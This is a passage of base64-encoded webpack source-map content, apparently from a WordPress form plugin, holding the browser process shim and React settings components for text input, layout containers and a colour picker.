vdXQ7XG4gICAgfVxufSAoKSlcbmZ1bmN0aW9uIHJ1blRpbWVvdXQoZnVuKSB7XG4gICAgaWYgKGNhY2hlZFNldFRpbWVvdXQgPT09IHNldFRpbWVvdXQpIHtcbiAgICAgICAgLy9ub3JtYWwgZW52aXJvbWVudHMgaW4gc2FuZSBzaXR1YXRpb25zXG4gICAgICAgIHJldHVybiBzZXRUaW1lb3V0KGZ1biwgMCk7XG4gICAgfVxuICAgIC8vIGlmIHNldFRpbWVvdXQgd2Fzbid0IGF2YWlsYWJsZSBidXQgd2FzIGxhdHRlciBkZWZpbmVkXG4gICAgaWYgKChjYWNoZWRTZXRUaW1lb3V0ID09PSBkZWZhdWx0U2V0VGltb3V0IHx8ICFjYWNoZWRTZXRUaW1lb3V0KSAmJiBzZXRUaW1lb3V0KSB7XG4gICAgICAgIGNhY2hlZFNldFRpbWVvdXQgPSBzZXRUaW1lb3V0O1xuICAgICAgICByZXR1cm4gc2V0VGltZW91dChmdW4sIDApO1xuICAgIH1cbiAgICB0cnkge1xuICAgICAgICAvLyB3aGVuIHdoZW4gc29tZWJvZHkgaGFzIHNjcmV3ZWQgd2l0aCBzZXRUaW1lb3V0IGJ1dCBubyBJLkUuIG1hZGRuZXNzXG4gICAgICAgIHJldHVybiBjYWNoZWRTZXRUaW1lb3V0KGZ1biwgMCk7XG4gICAgfSBjYXRjaChlKXtcbiAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgIC8vIFdoZW4gd2UgYXJlIGluIEkuRS4gYnV0IHRoZSBzY3JpcHQgaGFzIGJlZW4gZXZhbGVkIHNvIEkuRS4gZG9lc24ndCB0cnVzdCB0aGUgZ2xvYmFsIG9iamVjdCB3aGVuIGNhbGxlZCBub3JtYWxseVxuICAgICAgICAgICAgcmV0dXJuIGNhY2hlZFNldFRpbWVvdXQuY2FsbChudWxsLCBmdW4sIDApO1xuICAgICAgICB9IGNhdGNoKGUpe1xuICAgICAgICAgICAgLy8gc2FtZSBhcyBhYm92ZSBidXQgd2hlbiBpdCdzIGEgdmVyc2lvbiBvZiBJLkUuIHRoYXQgbXVzdCBoYXZlIHRoZSBnbG9iYWwgb2JqZWN0IGZvciAndGhpcycsIGhvcGZ1bGx5IG91ciBjb250ZXh0IGNvcnJlY3Qgb3RoZXJ3aXNlIGl0IHdpbGwgdGhyb3cgYSBnbG9iYWwgZXJyb3JcbiAgICAgICAgICAgIHJldHVybiBjYWNoZWRTZXRUaW1lb3V0LmNhbGwodGhpcywgZnVuLCAwKTtcbiAgICAgICAgfVxuICAgIH1cblxuXG59XG5mdW5jdGlvbiBydW5DbGVhclRpbWVvdXQobWFya2VyKSB7XG4gICAgaWYgKGNhY2hlZENsZWFyVGltZW91dCA9PT0gY2xlYXJUaW1lb3V0KSB7XG4gICAgICAgIC8vbm9ybWFsIGVudmlyb21lbnRzIGluIHNhbmUgc2l0dWF0aW9uc1xuICAgICAgICByZXR1cm4gY2xlYXJUaW1lb3V0KG1hcmtlcik7XG4gICAgfVxuICAgIC8vIGlmIGNsZWFyVGltZW91dCB3YXNuJ3QgYXZhaWxhYmxlIGJ1dCB3YXMgbGF0dGVyIGRlZmluZWRcbiAgICBpZiAoKGNhY2hlZENsZWFyVGltZW91dCA9PT0gZGVmYXVsdENsZWFyVGltZW91dCB8fCAhY2FjaGVkQ2xlYXJUaW1lb3V0KSAmJiBjbGVhclRpbWVvdXQpIHtcbiAgICAgICAgY2FjaGVkQ2xlYXJUaW1lb3V0ID0gY2xlYXJUaW1lb3V0O1xuICAgICAgICByZXR1cm4gY2xlYXJUaW1lb3V0KG1hcmtlcik7XG4gICAgfVxuICAgIHRyeSB7XG4gICAgICAgIC8vIHdoZW4gd2hlbiBzb21lYm9keSBoYXMgc2NyZXdlZCB3aXRoIHNldFRpbWVvdXQgYnV0IG5vIEkuRS4gbWFkZG5lc3NcbiAgICAgICAgcmV0dXJuIGNhY2hlZENsZWFyVGltZW91dChtYXJrZXIpO1xuICAgIH0gY2F0Y2ggKGUpe1xuICAgICAgICB0cnkge1xuICAgICAgICAgICAgLy8gV2hlbiB3ZSBhcmUgaW4gSS5FLiBidXQgdGhlIHNjcmlwdCBoYXMgYmVlbiBldmFsZWQgc28gSS5FLiBkb2Vzbid0ICB0cnVzdCB0aGUgZ2xvYmFsIG9iamVjdCB3aGVuIGNhbGxlZCBub3JtYWxseVxuICAgICAgICAgICAgcmV0dXJuIGNhY2hlZENsZWFyVGltZW91dC5jYWxsKG51bGwsIG1hcmtlcik7XG4gICAgICAgIH0gY2F0Y2ggKGUpe1xuICAgICAgICAgICAgLy8gc2FtZSBhcyBhYm92ZSBidXQgd2hlbiBpdCdzIGEgdmVyc2lvbiBvZiBJLkUuIHRoYXQgbXVzdCBoYXZlIHRoZSBnbG9iYWwgb2JqZWN0IGZvciAndGhpcycsIGhvcGZ1bGx5IG91ciBjb250ZXh0IGNvcnJlY3Qgb3RoZXJ3aXNlIGl0IHdpbGwgdGhyb3cgYSBnbG9iYWwgZXJyb3IuXG4gICAgICAgICAgICAvLyBTb21lIHZlcnNpb25zIG9mIEkuRS4gaGF2ZSBkaWZmZXJlbnQgcnVsZXMgZm9yIGNsZWFyVGltZW91dCB2cyBzZXRUaW1lb3V0XG4gICAgICAgICAgICByZXR1cm4gY2FjaGVkQ2xlYXJUaW1lb3V0LmNhbGwodGhpcywgbWFya2VyKTtcbiAgICAgICAgfVxuICAgIH1cblxuXG5cbn1cbnZhciBxdWV1ZSA9IFtdO1xudmFyIGRyYWluaW5nID0gZmFsc2U7XG52YXIgY3VycmVudFF1ZXVlO1xudmFyIHF1ZXVlSW5kZXggPSAtMTtcblxuZnVuY3Rpb24gY2xlYW5VcE5leHRUaWNrKCkge1xuICAgIGlmICghZHJhaW5pbmcgfHwgIWN1cnJlbnRRdWV1ZSkge1xuICAgICAgICByZXR1cm47XG4gICAgfVxuICAgIGRyYWluaW5nID0gZmFsc2U7XG4gICAgaWYgKGN1cnJlbnRRdWV1ZS5sZW5ndGgpIHtcbiAgICAgICAgcXVldWUgPSBjdXJyZW50UXVldWUuY29uY2F0KHF1ZXVlKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICBxdWV1ZUluZGV4ID0gLTE7XG4gICAgfVxuICAgIGlmIChxdWV1ZS5sZW5ndGgpIHtcbiAgICAgICAgZHJhaW5RdWV1ZSgpO1xuICAgIH1cbn1cblxuZnVuY3Rpb24gZHJhaW5RdWV1ZSgpIHtcbiAgICBpZiAoZHJhaW5pbmcpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgIH1cbiAgICB2YXIgdGltZW91dCA9IHJ1blRpbWVvdXQoY2xlYW5VcE5leHRUaWNrKTtcbiAgICBkcmFpbmluZyA9IHRydWU7XG5cbiAgICB2YXIgbGVuID0gcXVldWUubGVuZ3RoO1xuICAgIHdoaWxlKGxlbikge1xuICAgICAgICBjdXJyZW50UXVldWUgPSBxdWV1ZTtcbiAgICAgICAgcXVldWUgPSBbXTtcbiAgICAgICAgd2hpbGUgKCsrcXVldWVJbmRleCA8IGxlbikge1xuICAgICAgICAgICAgaWYgKGN1cnJlbnRRdWV1ZSkge1xuICAgICAgICAgICAgICAgIGN1cnJlbnRRdWV1ZVtxdWV1ZUluZGV4XS5ydW4oKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBxdWV1ZUluZGV4ID0gLTE7XG4gICAgICAgIGxlbiA9IHF1ZXVlLmxlbmd0aDtcbiAgICB9XG4gICAgY3VycmVudFF1ZXVlID0gbnVsbDtcbiAgICBkcmFpbmluZyA9IGZhbHNlO1xuICAgIHJ1bkNsZWFyVGltZW91dCh0aW1lb3V0KTtcbn1cblxucHJvY2Vzcy5uZXh0VGljayA9IGZ1bmN0aW9uIChmdW4pIHtcbiAgICB2YXIgYXJncyA9IG5ldyBBcnJheShhcmd1bWVudHMubGVuZ3RoIC0gMSk7XG4gICAgaWYgKGFyZ3VtZW50cy5sZW5ndGggPiAxKSB7XG4gICAgICAgIGZvciAodmFyIGkgPSAxOyBpIDwgYXJndW1lbnRzLmxlbmd0aDsgaSsrKSB7XG4gICAgICAgICAgICBhcmdzW2kgLSAxXSA9IGFyZ3VtZW50c1tpXTtcbiAgICAgICAgfVxuICAgIH1cbiAgICBxdWV1ZS5wdXNoKG5ldyBJdGVtKGZ1biwgYXJncykpO1xuICAgIGlmIChxdWV1ZS5sZW5ndGggPT09IDEgJiYgIWRyYWluaW5nKSB7XG4gICAgICAgIHJ1blRpbWVvdXQoZHJhaW5RdWV1ZSk7XG4gICAgfVxufTtcblxuLy8gdjggbGlrZXMgcHJlZGljdGlibGUgb2JqZWN0c1xuZnVuY3Rpb24gSXRlbShmdW4sIGFycmF5KSB7XG4gICAgdGhpcy5mdW4gPSBmdW47XG4gICAgdGhpcy5hcnJheSA9IGFycmF5O1xufVxuSXRlbS5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24gKCkge1xuICAgIHRoaXMuZnVuLmFwcGx5KG51bGwsIHRoaXMuYXJyYXkpO1xufTtcbnByb2Nlc3MudGl0bGUgPSAnYnJvd3Nlcic7XG5wcm9jZXNzLmJyb3dzZXIgPSB0cnVlO1xucHJvY2Vzcy5lbnYgPSB7fTtcbnByb2Nlc3MuYXJndiA9IFtdO1xucHJvY2Vzcy52ZXJzaW9uID0gJyc7IC8vIGVtcHR5IHN0cmluZyB0byBhdm9pZCByZWdleHAgaXNzdWVzXG5wcm9jZXNzLnZlcnNpb25zID0ge307XG5cbmZ1bmN0aW9uIG5vb3AoKSB7fVxuXG5wcm9jZXNzLm9uID0gbm9vcDtcbnByb2Nlc3MuYWRkTGlzdGVuZXIgPSBub29wO1xucHJvY2Vzcy5vbmNlID0gbm9vcDtcbnByb2Nlc3Mub2ZmID0gbm9vcDtcbnByb2Nlc3MucmVtb3ZlTGlzdGVuZXIgPSBub29wO1xucHJvY2Vzcy5yZW1vdmVBbGxMaXN0ZW5lcnMgPSBub29wO1xucHJvY2Vzcy5lbWl0ID0gbm9vcDtcbnByb2Nlc3MucHJlcGVuZExpc3RlbmVyID0gbm9vcDtcbnByb2Nlc3MucHJlcGVuZE9uY2VMaXN0ZW5lciA9IG5vb3A7XG5cbnByb2Nlc3MubGlzdGVuZXJzID0gZnVuY3Rpb24gKG5hbWUpIHsgcmV0dXJuIFtdIH1cblxucHJvY2Vzcy5iaW5kaW5nID0gZnVuY3Rpb24gKG5hbWUpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ3Byb2Nlc3MuYmluZGluZyBpcyBub3Qgc3VwcG9ydGVkJyk7XG59O1xuXG5wcm9jZXNzLmN3ZCA9IGZ1bmN0aW9uICgpIHsgcmV0dXJuICcvJyB9O1xucHJvY2Vzcy5jaGRpciA9IGZ1bmN0aW9uIChkaXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ3Byb2Nlc3MuY2hkaXIgaXMgbm90IHN1cHBvcnRlZCcpO1xufTtcbnByb2Nlc3MudW1hc2sgPSBmdW5jdGlvbigpIHsgcmV0dXJuIDA7IH07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9wcm9jZXNzL2Jyb3dzZXIuanNcbi8vIG1vZHVsZSBpZCA9IDJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUgfSBmcm9tICcuLi8uLi91dGlscyc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIElucHV0IGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXG5cdFx0dGhpcy51cGRhdGVWYWx1ZSA9IHRoaXMudXBkYXRlVmFsdWUuYmluZCggdGhpcyApO1xuXHR9XG5cblx0dXBkYXRlVmFsdWUoIHZhbHVlICkge1xuXHRcdC8vIENoZWNrIGlmIHdlJ3JlIG9uIGZpZWxkIHNldHRpbmdzXG5cdFx0aWYgKCB0eXBlb2YgdGhpcy5wcm9wcy51cGRhdGVQcm9wZXJ0eSA9PT0gJ2Z1bmN0aW9uJyApIHtcblx0XHRcdC8vIFVwZGF0ZSBmaWVsZCBzdGF0ZVxuXHRcdFx0dGhpcy5wcm9wcy51cGRhdGVQcm9wZXJ0eSggdGhpcy5wcm9wcy5wcm9wZXJ0eSwgdmFsdWUgKTtcblx0XHR9IGVsc2Uge1xuXHRcdFx0Ly8gVXBkYXRlIHN0b3JlXG5cdFx0XHR0aGlzLnByb3BzLmFjdGlvbnMuc2V0dGluZ3NBY3Rpb25zLnVwZGF0ZVNldHRpbmcoIHRoaXMucHJvcHMucHJvcGVydHksIHZhbHVlICk7XG5cdFx0fVxuXHR9XG5cblx0aXNWYWxpZCggdmFsdWUgKSB7XG5cdFx0aWYgKCB0aGlzLnByb3BzLmlzUmVxdWlyZWQgKSB7XG5cdFx0XHRyZXR1cm4gdGhpcy5wcm9wcy5pc1JlcXVpcmVkICYmICEgXy5pc0VtcHR5KCB2YWx1ZSApO1xuXHRcdH0gZWxzZSBpZiAoICEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5pc1Bvc2l0aXZlICkgKSB7XG5cdFx0XHRyZXR1cm4gXy5pc0VtcHR5KCB2YWx1ZSApIHx8IHZhbHVlID49IDA7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIHRydWU7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgdmFsdWUgPSBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKVxuXHRcdFx0PyB0aGlzLnByb3BzLmRlZmF1bHRWYWx1ZVxuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF07XG5cblx0XHRjb25zdCB0eXBlID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnR5cGUgKSA/IHRoaXMucHJvcHMudHlwZSA6ICd0ZXh0JztcblxuXHRcdGNvbnN0IHJlcXVpcmVkRXJyb3IgPSAhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMucmVxdWlyZWRFcnJvciApID8gdGhpcy5wcm9wcy5yZXF1aXJlZEVycm9yIDogdHJhbnNsYXRlKCAnVGhpcyBmaWVsZCBpcyByZXF1aXJlZCEnICk7XG5cblx0XHRjb25zdCBoYXNFcnJvckNsYXNzID0gISB0aGlzLmlzVmFsaWQoIHZhbHVlICkgPyAnc3VpLWZvcm0tZmllbGQtZXJyb3InIDogJyc7XG5cblx0XHRjb25zdCBmaWVsZENsYXNzID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLmZpZWxkQ2xhc3MgKVxuXHRcdFx0PyAnc3VpLWZvcm0tZmllbGQgJyArIHRoaXMucHJvcHMuZmllbGRDbGFzc1xuXHRcdFx0OiAnc3VpLWZvcm0tZmllbGQnO1xuXG5cdFx0bGV0IGlucHV0Q2xhc3MgPSAnc3VpLWZvcm0tY29udHJvbCc7XG5cblx0XHRpZiAoICEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5pbnB1dENsYXNzICkgJiYgJycgIT09IHRoaXMucHJvcHMuaW5wdXRDbGFzcyApIHtcblx0XHRcdGlucHV0Q2xhc3MgKz0gJyAnICsgdGhpcy5wcm9wcy5pbnB1dENsYXNzO1xuXHRcdH1cblxuXHRcdGlmICggISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnByZWZpeCApICYmICcnICE9PSB0aGlzLnByb3BzLnByZWZpeCApIHtcblx0XHRcdGlucHV0Q2xhc3MgKz0gJyBzdWktZmllbGQtaGFzLXByZWZpeCc7XG5cdFx0fVxuXG5cdFx0aWYgKCAhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc3VmZml4ICkgJiYgJycgIT09IHRoaXMucHJvcHMuc3VmZml4ICkge1xuXHRcdFx0aW5wdXRDbGFzcyArPSAnIHN1aS1maWVsZC1oYXMtc3VmZml4Jztcblx0XHR9XG5cblx0XHRjb25zdCBpbnB1dElkID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLmlucHV0SWQgKVxuXHRcdFx0PyB0aGlzLnByb3BzLmlucHV0SWRcblx0XHRcdDogdGhpcy5wcm9wcy5wcm9wZXJ0eTtcblxuXHRcdGxldCBpbnB1dExhYmVsO1xuXG5cdFx0aWYgKCB0aGlzLnByb3BzLmxhYmVsICkge1xuXHRcdFx0aW5wdXRMYWJlbCA9IChcblx0XHRcdFx0PGxhYmVsXG5cdFx0XHRcdFx0aHRtbEZvcj17IGBmb3JtaW5hdG9yLWZpZWxkLSR7IGlucHV0SWQgfWAgfVxuXHRcdFx0XHRcdGNsYXNzTmFtZT17IHRoaXMucHJvcHMuZGFya0xhYmVsXG5cdFx0XHRcdFx0XHQ/ICdzdWktc2V0dGluZ3MtbGFiZWwgc3VpLWRhcmsnXG5cdFx0XHRcdFx0XHQ6ICdzdWktbGFiZWwnXG5cdFx0XHRcdFx0fVxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmxhYmVsIH1cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuaXNSZXF1aXJlZCAmJlxuXHRcdFx0XHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHRcdFx0XHQmbmJzcDs8c3BhbiBjbGFzc05hbWU9XCJzdWktZXJyb3JcIj4qPC9zcGFuPlxuXHRcdFx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLm5vdGUgJiZcblx0XHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1sYWJlbC1ub3RlXCI+eyB0aGlzLnByb3BzLm5vdGUgfTwvc3Bhbj5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdDwvbGFiZWw+XG5cdFx0XHQpO1xuXHRcdH1cblxuXHRcdGNvbnN0IGlucHV0RmllbGQgPSAoXG5cdFx0XHQ8aW5wdXQgdHlwZT17IHR5cGUgfVxuXHRcdFx0XHRwbGFjZWhvbGRlcj17IHRoaXMucHJvcHMucGxhY2Vob2xkZXIgfVxuXHRcdFx0XHR2YWx1ZT17IHZhbHVlIHx8ICcnIH1cblx0XHRcdFx0aWQ9eyBgZm9ybWluYXRvci1maWVsZC0keyBpbnB1dElkIH1gIH1cblx0XHRcdFx0Y2xhc3NOYW1lPXsgaW5wdXRDbGFzcyB9XG5cdFx0XHRcdHsgLi4uIHRoaXMucHJvcHMubm90V3JpdGFibGUgJiYgeyByZWFkb25seTogJycgfSB9XG5cdFx0XHRcdHsgLi4uIHRoaXMucHJvcHMubWluVmFsdWUgJiYgeyBtaW46IHRoaXMucHJvcHMubWluVmFsdWUgfSB9XG5cdFx0XHRcdHsgLi4uIHRoaXMucHJvcHMubWF4VmFsdWUgJiYgeyBtYXg6IHRoaXMucHJvcHMubWF4VmFsdWUgfSB9XG5cdFx0XHRcdHsgLi4uIHRoaXMucHJvcHMuc3RlcCAmJiB7IHN0ZXA6IHRoaXMucHJvcHMuc3RlcCB9IH1cblx0XHRcdFx0eyAuLi4gdGhpcy5wcm9wcy5tYXhMZW5ndGggJiYgeyBtYXhMZW5ndGg6IHRoaXMucHJvcHMubWF4TGVuZ3RoIH0gfVxuXHRcdFx0XHR7IC4uLiB0aGlzLnByb3BzLmlucHV0U3R5bGVzICYmIHsgc3R5bGU6IHRoaXMucHJvcHMuaW5wdXRTdHlsZXMgfSB9XG5cdFx0XHRcdGRpc2FibGVkPXsgdGhpcy5wcm9wcy5kaXNhYmxlZCA/IHRydWUgOiBmYWxzZSB9XG5cdFx0XHRcdG9uQ2hhbmdlPXsgZSA9PiB7XG5cdFx0XHRcdFx0dGhpcy51cGRhdGVWYWx1ZSggZS50YXJnZXQudmFsdWUgKTtcblx0XHRcdFx0fSB9XG5cdFx0XHQvPlxuXHRcdCk7XG5cblx0XHRjb25zdCBnZXRGaWVsZHMgPSAoXG5cdFx0XHQ8ZGl2IGNsYXNzTmFtZT17IGAkeyBmaWVsZENsYXNzIH0gJHsgaGFzRXJyb3JDbGFzcyB9YCB9PlxuXHRcdFx0XHR7IGlucHV0TGFiZWwgfVxuXHRcdFx0XHR7ICggISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnByZWZpeCApICYmICcnICE9PSB0aGlzLnByb3BzLnByZWZpeCApICYmIChcblx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZmllbGQtcHJlZml4XCI+eyB0aGlzLnByb3BzLnByZWZpeCB9PC9zcGFuPlxuXHRcdFx0XHQpIH1cblx0XHRcdFx0eyAoICEgdGhpcy5wcm9wcy5jYW5UcmFzaFxuXHRcdFx0XHRcdD8gaW5wdXRGaWVsZFxuXHRcdFx0XHRcdDogPGRpdiBjbGFzc05hbWU9XCJzdWktd2l0aC1idXR0b24gc3VpLXdpdGgtYnV0dG9uLWljb25cIj5cblx0XHRcdFx0XHRcdHsgaW5wdXRGaWVsZCB9XG5cdFx0XHRcdFx0XHQ8YnV0dG9uIGNsYXNzTmFtZT1cInN1aS1idXR0b24taWNvbiBzdWktdG9vbHRpcCBzdWktdG9vbHRpcC10b3AtcmlnaHRcIlxuXHRcdFx0XHRcdFx0XHRkYXRhLXRvb2x0aXA9eyB0cmFuc2xhdGUoICdEZWxldGUnICkgfT5cblx0XHRcdFx0XHRcdFx0PGkgY2xhc3NOYW1lPVwic3VpLWljb24tdHJhc2hcIiBhcmlhLWhpZGRlbj1cInRydWVcIiAvPlxuXHRcdFx0XHRcdFx0PC9idXR0b24+XG5cdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdCkgfVxuXHRcdFx0XHR7IHRoaXMucHJvcHMuc3VmZml4ICYmIChcblx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZmllbGQtc3VmZml4XCI+eyB0aGlzLnByb3BzLnN1ZmZpeCB9PC9zcGFuPlxuXHRcdFx0XHQpIH1cblx0XHRcdFx0eyB0aGlzLnByb3BzLmlzUmVxdWlyZWQgJiYgISB0aGlzLmlzVmFsaWQoIHZhbHVlICkgJiYgKFxuXHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1lcnJvci1tZXNzYWdlXCI+eyByZXF1aXJlZEVycm9yIH08L3NwYW4+XG5cdFx0XHRcdCkgfVxuXHRcdFx0XHR7ICEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5pc1Bvc2l0aXZlICkgJiYgISB0aGlzLmlzVmFsaWQoIHZhbHVlICkgJiYgKFxuXHRcdFx0XHRcdDxzcGFuIGNsYXNzTmFtZT1cInN1aS1lcnJvci1tZXNzYWdlXCI+eyB0cmFuc2xhdGUoICdQbGVhc2UgZW50ZXIgdmFsaWQgbnVtYmVyLicgKSB9PC9zcGFuPlxuXHRcdFx0XHQpIH1cblx0XHRcdFx0eyB0aGlzLnByb3BzLmRlc2NyaXB0aW9uICYmIChcblx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZGVzY3JpcHRpb25cIj57IHRoaXMucHJvcHMuZGVzY3JpcHRpb24gfTwvc3Bhbj5cblx0XHRcdFx0KSB9XG5cdFx0XHQ8L2Rpdj5cblx0XHQpO1xuXG5cdFx0aWYgKCB0aGlzLnByb3BzLnNpbXBsZSApIHtcblx0XHRcdHJldHVybiBpbnB1dEZpZWxkO1xuXHRcdH1cblxuXHRcdHJldHVybiBnZXRGaWVsZHM7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9pbnB1dHMvaW5wdXQuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDb250YWluZXIgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgY2hpbGRyZW4gPSBSZWFjdC5DaGlsZHJlbi5tYXAoIHRoaXMucHJvcHMuY2hpbGRyZW4sIGNoaWxkID0+IHtcblx0XHRcdHJldHVybiBjaGlsZDtcblx0XHR9ICk7XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PGRpdj5cblx0XHRcdFx0eyBjaGlsZHJlbiB9XG5cdFx0XHQ8L2Rpdj5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MvY29udGFpbmVycy9jb250YWluZXIuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDb2wgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgY2hpbGRyZW4gPSBSZWFjdC5DaGlsZHJlbi5tYXAoIHRoaXMucHJvcHMuY2hpbGRyZW4sIGNoaWxkcmVuID0+IHtcblx0XHRcdHJldHVybiBjaGlsZHJlbjtcblx0XHR9ICk7XG5cblx0XHRjb25zdCBjdXN0b21DbGFzcyA9IHRoaXMucHJvcHMuY3VzdG9tQ2xhc3MgPyB0aGlzLnByb3BzLmN1c3RvbUNsYXNzIDogJyc7XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PGRpdiBjbGFzc05hbWU9eyBgc3VpLWNvbC1tZC0keyB0aGlzLnByb3BzLmNvbHMgfSAkeyBjdXN0b21DbGFzcyB9YCB9PlxuXHRcdFx0XHR7IGNoaWxkcmVuIH1cblx0XHRcdDwvZGl2PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9jb250YWluZXJzL2NvbC5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUgfSBmcm9tICcuLi8uLi91dGlscyc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIENvbG9yUGlja2VyIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXG5cdFx0dGhpcy51cGRhdGVWYWx1ZSA9IHRoaXMudXBkYXRlVmFsdWUuYmluZCggdGhpcyApO1xuXHR9XG5cblx0Y29tcG9uZW50RGlkTW91bnQoKSB7XG5cdFx0dGhpcy4kZWwgPSBqUXVlcnkoIHRoaXMuZWwgKTtcblx0XHR0aGlzLiRlbC53cENvbG9yUGlja2VyKCB7XG5cdFx0XHRjaGFuZ2U6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7XG5cdFx0XHRcdGNvbnN0ICR0aGlzID0galF1ZXJ5KCB0aGlzICk7XG5cdFx0XHRcdCR0aGlzLnZhbCggdWkuY29sb3IudG9DU1MoKSApLnRyaWdnZXIoICdjaGFuZ2UnICk7XG5cdFx0XHR9LFxuXHRcdFx0cGFsZXR0ZXM6IFtcblx0XHRcdFx0JyMzMzMzMzMnLFxuXHRcdFx0XHQnI0ZGRkZGRicsXG5cdFx0XHRcdCcjMTdBOEUzJyxcblx0XHRcdFx0JyNFMUY2RkYnLFxuXHRcdFx0XHQnIzY2NjY2NicsXG5cdFx0XHRcdCcjQUFBQUFBJyxcblx0XHRcdFx0JyNFNkU2RTYnLFxuXHRcdFx0XSxcblx0XHR9ICk7XG5cblx0XHRjb25zdCAkc3VpUGlja2VySW5wdXQgPSB0aGlzLiRlbCxcblx0XHRcdCRzdWlQaWNrZXIgPSAkc3VpUGlja2VySW5wdXQuY2xvc2VzdCggJy5zdWktY29sb3JwaWNrZXItd3JhcCcgKSxcblx0XHRcdCRzdWlQaWNrZXJDb2xvciA9ICRzdWlQaWNrZXIuZmluZCggJy5zdWktY29sb3JwaWNrZXItdmFsdWUgc3Bhbltyb2xlPWJ1dHRvbl0nICksXG5cdFx0XHQkc3VpUGlja2VyVmFsdWUgPSAkc3VpUGlja2VyLmZpbmQoICcuc3VpLWNvbG9ycGlja2VyLXZhbHVlJyApLFxuXHRcdFx0JHN1aVBpY2tlckNsZWFyID0gJHN1aVBpY2tlclZhbHVlLmZpbmQoICdidXR0b24nIClcblx0XHQ7XG5cblx0XHRjb25zdCAkd3BQaWNrZXIgPSAkc3VpUGlja2VySW5wdXQuY2xvc2VzdCggJy53cC1waWNrZXItY29udGFpbmVyJyApLFxuXHRcdFx0JHdwUGlja2VyQnV0dG9uID0gJHdwUGlja2VyLmZpbmQoICcud3AtY29sb3ItcmVzdWx0JyApLFxuXHRcdFx0JHdwUGlja2VyQWxwaGEgPSAkd3BQaWNrZXJCdXR0b24uZmluZCggJy5jb2xvci1hbHBoYScgKSxcblx0XHRcdCR3cFBpY2tlckNsZWFyID0gJHdwUGlja2VyLmZpbmQoI